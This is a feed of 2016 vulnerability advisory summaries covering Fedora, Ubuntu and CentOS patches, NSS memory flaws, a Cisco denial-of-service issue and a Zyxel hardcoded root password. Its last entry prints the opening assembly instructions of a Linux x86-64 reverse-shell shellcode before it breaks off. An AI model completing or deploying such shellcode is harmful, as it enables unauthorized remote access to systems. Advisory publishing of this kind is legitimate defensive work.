Hack the Pentagon DOD Bug Bounty

MIAMI—Lisa Wiswell’s phone rang off the hook last summer in the throes of the OPM hack. But she wasn’t just answering questions from those whose security clearance and personal data disappeared into the Chinese ether; there were also hackers on the other end of the line offering their help...

Fedora 23 : vtun-3.0.3-15.fc23 (2016-0fb6577f07)

patch to fix 1319858,1319859,1319861 Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues. %NASLMINLEVEL 703...

[SECURITY] Fedora 23 Update: vtun-3.0.3-15.fc23

VTun provides a method for creating Virtual Tunnels over TCP/IP networks and allows one to shape, compress, and encrypt traffic in those tunnels. Supported types of tunnels are: PPP, IP, Ethernet and most other serial protocols and programs. VTun is easily and highly configurable: it can be used...

nss: Use-after-free in NSS during SSL connections in low memory (MFSA 2016-15)

A use-after-free flaw was found in the way NSS handled DHE Diffie–Hellman key exchange and ECDHE Elliptic Curve Diffie-Hellman key exchange handshake messages. A remote attacker could send a specially crafted handshake message that, when parsed by an application linked against NSS, would cause th...

Ubuntu 12.04 LTS : libav vulnerabilities (USN-2944-1)

It was discovered that Libav incorrectly handled certain malformed media files. If a user were tricked into opening a crafted media file, an attacker could cause a denial of service via application crash, or possibly execute arbitrary code with the privileges of the user invoking the program. Not...

CentOS 7 : krb5 (CESA-2016:0532)

An update for krb5 is now available for Red Hat Enterprise Linux 7. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerability from the C...

Cisco IOS SIP Memory Leak DoS (CSCuj23293)

According to its self-reported version, the Cisco IOS software running on the remote device is affected by a denial of service vulnerability in the Session Initiation Protocol SIP gateway implementation due to improper handling of malformed SIP messages. An unauthenticated, remote attacker can...

The vulnerability of the Network Security Services library allows a perpetrator to trigger a service failure or exert other effects.

The vulnerability of the ssl3HandleECDHServerKeyExchange function in the Network Security Services library is related to the use of memory after it is freed. Exploiting this vulnerability could allow a malicious actor to cause service failures or other effects when establishing an SSL connection...

The vulnerability of the set of libraries for Network Security Services allows a perpetrator to execute arbitrary code.

The vulnerability of the Network Security Services library is caused by an overflow in the buffer of dynamic memory. Exploiting this vulnerability allows a malicious actor to execute arbitrary code using specially crafted ASN.1 data within X.509 certificates...

The vulnerability of the Network Security Services library allows a perpetrator to cause a service failure or exert other effects.

The vulnerability of the PK11ImportDERPrivateKeyInfoAndReturnKey function in the Network Security Services library is related to the use of memory after it is freed. Exploiting this vulnerability could allow a malicious actor to cause service failures or other effects by using specially crafted k...

Insecure Default Configuration

Overview Affected versions of airbrake default to sending environment variables over an unencrypted HTTP connection. In scenarios where an attacker has a privileged network position, it is possible for them to capture and read these environment variables, which may result in leaking sensitive...

Fedora 24 : webkitgtk-2.4.10-1.fc24 (2016-a4fcb02d6b)

This update addresses the following vulnerabilities : - CVE-2015-1120 https://vulners.com/cve/CVE-2015-1120 - CVE-2015-1076 https://vulners.com/cve/CVE-2015-1076 - CVE-2015-1071 https://vulners.com/cve/CVE-2015-1071 - CVE-2015-1081 https://vulners.com/cve/CVE-2015-1081 - CVE-2015-1122...

Fedora 24 : qemu-2.5.0-10.fc24 (2016-1b264ab4a4)

CVE-2016-2538: Integer overflow in usb module bz 1305815 CVE-2016-2841: ne2000: infinite loop bz 1304047 CVE-2016-2857: net: out of bounds read bz 1309564 CVE-2016-2392: usb: NULL pointer dereference bz 1307115 Fix external snapshot any more after active committing bz 1300209 Note that Tenable...

[SECURITY] Fedora 24 Update: krb5-1.14.1-3.fc24

Kerberos V5 is a trusted-third-party network authentication system, which can improve your network's security by eliminating the insecure practice of sending passwords over the network in unencrypted form...

Amazon Web Services EC2 Instance Metadata Enumeration (Unix)

The remote host appears to be an Amazon Machine Image. Nessus was able to use the metadata API to collect information about the system. TRUSTED...

Fedora 22 : kernel-4.4.6-200.fc22 (2016-3a57b19360)

The 4.4.6 update contains a number of important fixes across the tree Note that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory. Tenable has attempted to automatically clean and format it as much as possible without introducing...

Fedora 23 : krb5-1.14.1-3.fc23 (2016-56840babc3)

CVE-2016-3119, NULL dereference in LDAP module. ---- Fix an issue with return codes on gssinquireattrsformech. This resolves an issue with gss-ntlmssp, and anything else that is interposing but not implementing the corresponding mechglue function. Note that Tenable Network Security has extracted...

Zyxel MAX3XX Series Wimax CPEs Hardcoded Root Password

Vulnerability Title: Hardcoded root password in Zyxel MAX3XX series Wimax CPEs Date: 23/03/2016 Product: Zyxel MAX3XX series CPEs Vendor: www.zyxel.com Affected Firmware: Latest version at the time of disclosure v 2.00 and below tested Patch: Unpatched Vendor contact date: 12/12/2015 Authored by:...

[SECURITY] Fedora 23 Update: krb5-1.14.1-3.fc23

Kerberos V5 is a trusted-third-party network authentication system, which can improve your network's security by eliminating the insecure practice of sending passwords over the network in unencrypted form...

Linux/x86-64 - Reverse Shell Shellcode

/ Exploit Title: Shellcode Linux x8664 Reverse Shell Date: 19/03/2016 Shellcode Author: Sudhanshu Chauhan LinkedIn: https://in.linkedin.com/in/sudhanshuchauhan Tested on: Ubuntu 14.04.1 x8664 global start start: ;Socket xor rax, rax xor rdi, rdi xor rsi, rsi xor rdx, rdx add rax, 41 add rdi, 2 ad...